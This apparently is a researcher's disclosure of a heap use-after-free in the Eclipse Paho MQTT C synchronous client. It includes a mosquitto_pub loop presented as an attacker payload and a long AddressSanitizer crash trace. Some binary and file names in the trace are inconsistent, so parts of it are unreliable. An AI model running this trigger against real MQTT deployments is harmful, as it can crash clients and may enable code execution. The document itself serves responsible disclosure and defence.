...[ More ]

*Description:*
    Eclipse Paho MQTT C Client contains a heap use-after-free vulnerability in
    the synchronous MQTT client (libpaho-mqtt3c) when handling incoming PUBLISH
    messages with retry semantics. When a user-supplied messageArrived()
    callback frees the received message and returns 0 (indicating processing
    failure and requesting retry), the library retains internal references to
    the freed message and later reuses them during retry processing. This
    results in a use-after-free inside the library, leading to a crash and
    potential arbitrary code execution depending on heap state. The
    vulnerability occurs because the library does not revalidate message
    ownership or clone message data before reusing it on retry paths.
    
    *Impact:*
    An unauthenticated remote attacker capable of publishing messages to the
    MQTT broker can trigger this vulnerability, resulting in:
    * Denial of Service (crash)
    * Potential Remote Code Execution, depending on heap layout and allocator
    behavior
    
    *Affected Component:*
    
       - Library: Eclipse Paho MQTT C Client
       - Module: libpaho-mqtt3c (synchronous client)
       - File: src/MQTTClient.c
       - Function: MQTTClient_run() (retry processing path)
    
    *Attack Vector:*
    
       - Remote / Network
       - Triggered via MQTT PUBLISH packets
       - No authentication required in common broker configurations
       - No local access required
    
    *Server:*
    # mosquitto -p 1884 -v
    —snip—
    
    1768860860: Client auto-3592976F-BCF9-1EDF-2A8D-A28A40C30202 disconnected.
    1768860860: Client asan-client closed its connection.
    
    *Payload (attacker):*
    
    # for i in {1..50}; do   mosquitto_pub -h 127.0.0.1 -p 1884 -t uaf/test -q
    1 -m "AAAA$i"; done
    
    
    *Client:*export ASAN_OPTIONS=abort_on_error=1:detect_leaks=0
    export UBSAN_OPTIONS=print_stacktrace=1
    
    ./MQTTClient_ASAN
    [*] Creating client
    [*] Connecting
    [*] Subscribing
    [*] Waiting for message (publish now!)
    [!] messageArrived called
    [!] returning 0 (retry path)
    =================================================================
    ==179019==ERROR: AddressSanitizer: heap-use-after-free on address
    0xfc2fa47e1b78 at pc 0xaaaac160cd98 bp 0xfbffa29fd270 sp 0xfbffa29fca60
    READ of size 9 at 0xfc2fa47e1b78 thread T1
        #0 0xaaaac160cd94 in strlen
    (/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x4cd94) (BuildId:
    c9767fc9bb455afea6b69b9de6409fc16c36a05a)
        #1 0xffffa5b298d8 in MQTTClient_run
    /root/paho.mqtt.c/src/MQTTClient.c:911:9
        #2 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
        #3 0xffffa57cb9f0 in start_thread nptl/pthread_create.c:448:8
        #4 0xffffa5836fc8 in thread_start
    misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
    
    0xfc2fa47e1b78 is located 8 bytes inside of 32-byte region
    [0xfc2fa47e1b70,0xfc2fa47e1b90)
    freed by thread T1 here:
        #0 0xaaaac169928c in free
    (/root/paho.mqtt.c/build-asan/MQTTClient+0xd928c) (BuildId:
    c9767fc9bb455afea6b69b9de6409fc16c36a05a)
        #1 0xffffa5bd149c in myfree /root/paho.mqtt.c/src/Heap.c:285:4
        #2 0xffffa5aff74c in MQTTClient_free
    /root/paho.mqtt.c/src/MQTTClient_ASAN.c:659:2
        #3 0xaaaac16dbf88 in messageArrived
    /root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:18:5
        #4 0xffffa5b29fc4 in MQTTClient_run
    /root/paho.mqtt.c/src/MQTTClient.c:917:10
        #5 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
        #6 0xffffa5836fc8 in thread_start
    misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
    
    previously allocated by thread T1 here:
        #0 0xaaaac1699520 in malloc
    (/root/paho.mqtt.c/build-asan/uaf_trigger+0xd9520) (BuildId:
    c9767fc9bb455afea6b69b9de6409fc16c36a05a)
        #1 0xffffa5bd0a54 in mymalloc /root/paho.mqtt.c/src/Heap.c:201:16
        #2 0xffffa5b504dc in readUTFlen
    /root/paho.mqtt.c/src/MQTTPacket.c:395:18
        #3 0xffffa5b4b460 in MQTTPacket_publish
    /root/paho.mqtt.c/src/MQTTPacket.c:570:21
        #4 0xffffa5b4d598 in MQTTPacket_Factory
    /root/paho.mqtt.c/src/MQTTPacket.c:150:16
        #5 0xffffa5b1e62c in MQTTClient_cycle
    /root/paho.mqtt.c/src/MQTTClient.c:2648:12
        #6 0xffffa5b284ac in MQTTClient_run
    /root/paho.mqtt.c/src/MQTTClient.c:866:10
        #7 0xaaaac1696cbc in asan_thread_start(void*) asan_interceptors.cpp.o
        #8 0xffffa5836fc8 in thread_start
    misc/../sysdeps/unix/sysv/linux/aarch64/clone3.S:72
    
    Thread T1 created by T0 here:
        #0 0xaaaac167d5ac in pthread_create
    (/root/paho.mqtt.c/build-asan/uaf_trigger+0xbd5ac) (BuildId:
    c9767fc9bb455afea6b69b9de6409fc16c36a05a)
        #1 0xffffa5b92adc in Paho_thread_start
    /root/paho.mqtt.c/src/Thread.c:79:6
        #2 0xffffa5b244c0 in MQTTClient_connectURIVersion
    /root/paho.mqtt.c/src/MQTTClient.c:1239:3
        #3 0xffffa5b0efec in MQTTClient_connectURI
    /root/paho.mqtt.c/src/MQTTClient.c:1731:8
        #4 0xffffa5b0512c in MQTTClient_connectAll
    /root/paho.mqtt.c/src/MQTTClient.c:1888:8
        #5 0xffffa5b02ec0 in MQTTClient_connect
    /root/paho.mqtt.c/src/MQTTClient.c:1759:13
        #6 0xaaaac16dc1d8 in main
    /root/paho.mqtt.c/build-asan/MQTTClient_ASAN.c:38:5
        #7 0xffffa5762598 in __libc_start_call_main
    csu/../sysdeps/nptl/libc_start_call_main.h:58:16
        #8 0xffffa5762678 in __libc_start_main csu/../csu/libc-start.c:360:3
        #9 0xaaaac15f542c in _start
    (/root/paho.mqtt.c/build-asan/MQTTClient_ASAN+0x3542c) (BuildId:
    c9767fc9bb455afea6b69b9de6409fc16c36a05a)
    
    Ron Edgerson
    Vulnerability Researcher & Exploit Developer
    
    CVE Research | Binary Exploitation | Application & Systems Security
    Responsible Disclosure • Proof-of-Concept Development
    
    🌐 https://github.com/ob1sec
    🔗 https://www.linkedin.com/in/ronedgerson1
    <https://linkedin.com/in/yourhandle>